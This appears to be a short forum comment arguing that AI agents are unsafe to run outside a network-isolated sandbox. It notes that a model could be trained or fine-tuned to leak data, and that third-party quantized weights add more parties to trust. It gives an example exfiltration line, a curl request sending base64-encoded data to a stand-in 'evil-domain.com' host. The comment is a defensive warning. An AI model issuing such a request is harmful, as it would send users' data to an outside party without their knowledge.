It is also unsafe unless you run the agents in a sandbox without network access.
All it takes to leak data is a curl request to https://evil-domain.com/?payload=base64-encoded-data, and any model could be trained or fine-tuned to execute this on any task.
It becomes even more dangerous if you run unofficial quantized weights of the original model, such as the Unsloth ones. Doing so means there are now two separate parties you need to trust, on top of the Chinese corporation behind the original model.